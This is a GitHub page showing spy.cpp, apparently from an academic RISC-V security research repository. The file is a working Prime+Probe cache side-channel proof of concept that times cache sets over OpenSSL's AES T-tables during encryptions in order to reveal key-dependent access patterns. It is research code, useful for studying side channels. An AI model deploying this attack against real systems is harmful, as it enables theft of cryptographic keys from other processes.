forked from cispa/Security-RISC
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathspy.cpp
More file actions
174 lines (149 loc) · 4.22 KB
/
Copy pathspy.cpp
File metadata and controls
174 lines (149 loc) · 4.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#include "../../rlibsc.h"
#include <fcntl.h>
#include <map>
#include <openssl/aes.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <vector>
// this number varies on different systems
#ifdef C906
#define MIN_CACHE_PROBE_CYCLES 560
#elif defined(U74)
#define MIN_CACHE_PROBE_CYCLES 90
#endif
// more encryptions show features more clearly
#define NUMBER_OF_ENCRYPTIONS (1000)
char buffer[2 * 1024 * 1024];
#define S 12
#ifdef C906
static inline void prime(void *addr) {
size_t pset = (((size_t)addr) >> 6) & 63;
int pn = ((size_t)addr) & 4096;
int bufpn = ((size_t)buffer) & 4096;
int i = 1;
int j = (pn == bufpn) ? 0 : 1;
REP4(maccess(buffer + i++ * 2 * 4096 + j * 4096 + (pset << 6));)
}
#elif defined(U74)
static inline void prime(void *addr) {
size_t start =
(((size_t)(buffer) >> 14) << 14) + 0x4000 + ((size_t)addr & 0x3fff);
for (int s = 0; s < 6; s += 1) {
for (int d = 0; d < 1; d++) {
for (int c = 0; c < 3; c++) {
maccess((void *)(start + ((s + c) << S)));
}
}
}
asm volatile("fence\t\n");
}
#endif
size_t measure_probe_time(void *address) {
uint64_t x = rdcycle();
prime(address);
uint64_t y = rdcycle();
return y - x;
}
unsigned char key[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
// 0x51, 0x4d, 0xab, 0x12, 0xff, 0xdd, 0xb3, 0x32, 0x52, 0x8f, 0xbb, 0x1d,
// 0xec, 0x45, 0xce, 0xcc, 0x4f, 0x6e, 0x9c, 0x2a, 0x15, 0x5f, 0x5f, 0x0b,
// 0x25, 0x77, 0x6b, 0x70, 0xcd, 0xe2, 0xf7, 0x80
};
size_t sum;
size_t scount;
std::map<char *, std::map<size_t, size_t>> timings;
char *base;
char *probe;
char *end;
int main() {
int fd = open(LIBCRYPTO_PATH, O_RDONLY);
size_t size = lseek(fd, 0, SEEK_END);
if (size == 0)
exit(-1);
size_t map_size = size;
if ((map_size & 0xFFF) != 0) {
map_size |= 0xFFF;
map_size += 1;
}
base = (char *)mmap(0, map_size, PROT_READ, MAP_SHARED, fd, 0);
end = base + size;
// eviction candidates
memset(buffer, 2, sizeof(buffer));
unsigned char __attribute__((aligned(4096)))
plaintext[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
unsigned char ciphertext[128];
unsigned char restoredtext[128];
AES_KEY key_struct;
AES_set_encrypt_key(key, 128, &key_struct);
uint64_t min_time = rdcycle();
srand(min_time);
sum = 0;
for (size_t byte = 0; byte < 256; byte += 16) {
plaintext[0] = byte;
// plaintext[1] = byte;
// plaintext[2] = byte;
// plaintext[3] = byte;
AES_encrypt(plaintext, ciphertext, &key_struct);
// adjust me (decreasing order)
int te0 = TE0; // 0x128f10;
int te1 = TE1; // 0x128f10;
int te2 = TE2; // 0x128f10;
int te3 = TE3; // 0x128f10;
// adjust address range to exclude unwanted lines/tables
// nm <libcrypto.so address> | grep Te
for (probe = base + te3; probe < base + te0 + 16 * 64;
probe += 64) // hardcoded addresses (could be done dynamically)
// for (probe = base; probe < end; probe += 64)
{
size_t count = 0;
for (size_t i = 0; i < NUMBER_OF_ENCRYPTIONS; ++i) {
// sched_yield();
for (size_t j = 1; j < 16; ++j)
plaintext[j] = rand() % 256;
REP2(prime(probe);)
// fence();
AES_encrypt(plaintext, ciphertext, &key_struct);
fence();
// maccess(probe); //fence();
size_t delta = measure_probe_time(probe);
if (delta > MIN_CACHE_PROBE_CYCLES)
++count;
}
timings[probe][byte] = count;
}
}
for (auto ait : timings) {
printf("%p", (void *)(ait.first - base));
for (auto kit : ait.second) {
int s = kit.second - NUMBER_OF_ENCRYPTIONS / 100 * 95;
printf(",%4d", s < 0 ? 0 : s);
// printf(",%6lu", kit.second);
}
printf("\n");
}
/*
for (auto ait : timings)
{
for (auto kit : ait.second)
{
if (kit.second != 0)
{
printf("%p", (void*) (ait.first - base));
printf(",%6lu", kit.second);
}
}
}
*/
close(fd);
munmap(base, map_size);
fflush(stdout);
return 0;
}